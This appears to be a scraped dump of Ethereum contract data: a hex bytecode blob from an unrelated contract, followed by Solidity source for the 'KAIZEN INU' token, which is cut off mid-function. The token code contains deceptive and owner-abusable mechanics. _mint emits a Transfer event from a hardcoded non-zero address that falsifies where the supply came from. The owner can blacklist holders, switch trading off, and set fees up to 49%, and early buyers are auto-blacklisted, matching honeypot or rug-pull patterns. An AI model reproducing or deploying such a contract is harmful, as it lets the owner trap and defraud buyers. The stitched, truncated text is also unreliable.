10610393576101008083540402835291602001916103be565b600160a060020a033316600090815260056020526040812054610645908363ffffffff61091016565b600160a060020a03338116600090815260056020526040808220939093559085168152205461067a908363ffffffff61092516565b600160a060020a0380851660008181526005602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03338116600081815260066020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156107d65780820151838201526020016107be565b50505050905090810190601f1680156108035780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561082457600080fd5b6102c65a03f1151561083557600080fd5b5060019695505050505050565b6000805433600160a060020a0390811691161461085e57600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108c457600080fd5b6102c65a03f115156108d557600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60008282111561091f57600080fd5b50900390565b8181018281101561042d57600080fd00a165627a7a723058203c381a83e0f1255b7593e2a474e9e213981e5c8103327b6482a5611031ce2d720029
[ 2 ]
0xf3066801e2767e00040575ea8da22e25c97b9c4e
// SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0xe4CB369eF7a52cb00c1b51f6b34a89592e7F81A5), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract KAIZENINU is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; address private teamwallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; mapping (address => bool) private bots; mapping (address => bool) private wl; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event teamWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("KAIZEN INU", "KAIZEN") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 60; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 40; uint256 _sellMarketingFee = 60; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 40; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 60; uint256 _earlySellDevFee = 40; uint256 totalSupply = 5 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 50 / 10000; // 0.5% maxTransaction amount. maxWallet = totalSupply * 250 / 10000; // 2.5% maxWallet amount. swapTokensAtAmount = totalSupply * 1 / 10000; // swap when contravt token balance reaches 0.01% buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = 0x47BC630265714eEc1Ab152133aE557606D060d73; // marketing wallet devWallet = 0x32970b6129f742AEC9735ACcDC0631419C61Fa4c; // original deployer teamwallet = 0xd31368Be05Abf70b1D3d66B3202aEC53dfCc976b; // team wallet used for buybacks, team pay and mods // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(msg.sender, totalSupply); } receive() external payable { } function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } function disableTrading() external onlyOwner { tradingActive = false; swapEnabled = false; } function reenableTrading() external onlyOwner { tradingActive = true; swapEnabled = false; } function enableLimits() external onlyOwner returns (bool){ limitsInEffect = true; return true; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } function updateSwapTokensAtAmount(uint256 swapAmountPerc) external onlyOwner returns (bool){ require(swapAmountPerc * totalSupply()/1000000 >= totalSupply() * 1 / 10000000, "Swap amount cannot be lower than 0.00001% total supply."); require(swapAmountPerc * totalSupply()/1000000 <= totalSupply() * 5 / 100, "Swap amount cannot be higher than 5% total supply."); swapTokensAtAmount = swapAmountPerc * totalSupply()/1000000; return true; } function updateMaxTxnAmount(uint256 MaxTxnPerc) external onlyOwner { require(MaxTxnPerc * totalSupply()/10000 >= totalSupply() * 1/10000, "Cannot set maxTransactionAmount lower than 0.01%"); maxTransactionAmount = MaxTxnPerc * totalSupply()/10000; } function updateMaxWalletAmount(uint256 MaxWalPerc) external onlyOwner { require(MaxWalPerc * totalSupply()/10000 >= totalSupply() * 1/10000, "Cannot set maxWallet lower than 0.01%"); maxWallet = MaxWalPerc * totalSupply()/10000; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 490, "Must keep fees at 49% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 490, "Must keep fees at 49% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setMultiBlacklist(address[] memory multiblacklist_) public onlyOwner { for (uint256 i = 0; i < multiblacklist_.length; i++) { bots[multiblacklist_[i]] = true; } } function setMultiWL(address[] memory multiWL_) public onlyOwner { for (uint256 i = 0; i < multiWL_.length; i++) { wl[multiWL_[i]] = true; } } function delFromMultiWL(address delFromWL) public onlyOwner { wl[delFromWL] = false; } function delFromMultiBlacklist(address delFromBlacklist) public onlyOwner { bots[delFromBlacklist] = false; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function updateteamWallet(address newWallet) external onlyOwner { emit teamWalletUpdated(newWallet, teamwallet); teamwallet = newWallet; } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 amount = address(this).balance; uint256 ethMarketing = amount.mul(earlySellMarketingFee).div(earlySellDevFee.add(earlySellMarketingFee)); uint256 ethTeam = ethMarketing.div(3).mul(1); uint256 ethMarket = ethMarketing.div(3).mul(2); uint256 ethDev = amount.mul(earlySellDevFee).div(earlySellDevFee.add(earlySellMarketingFee)); //Send out fees if(ethDev > 0) payable(devWallet).transfer(ethDev); if(ethMarket > 0) payable(marketingWallet).transfer(ethMarket); if(ethTeam > 0) payable(teamwallet).transfer(ethTeam); } function manualswapcustom(uint256 percentage) external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); uint256 swapbalance = contractBalance.div(10**5).mul(percentage); swapTokensForEth(swapbalance); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); require(!bots[from] && !bots[to] && !bots[msg.sender],"You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to] || wl[from] || wl[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // During Buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // During Sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // Sell before 24hr bool isBuy = from == uniswapV2Pair; if 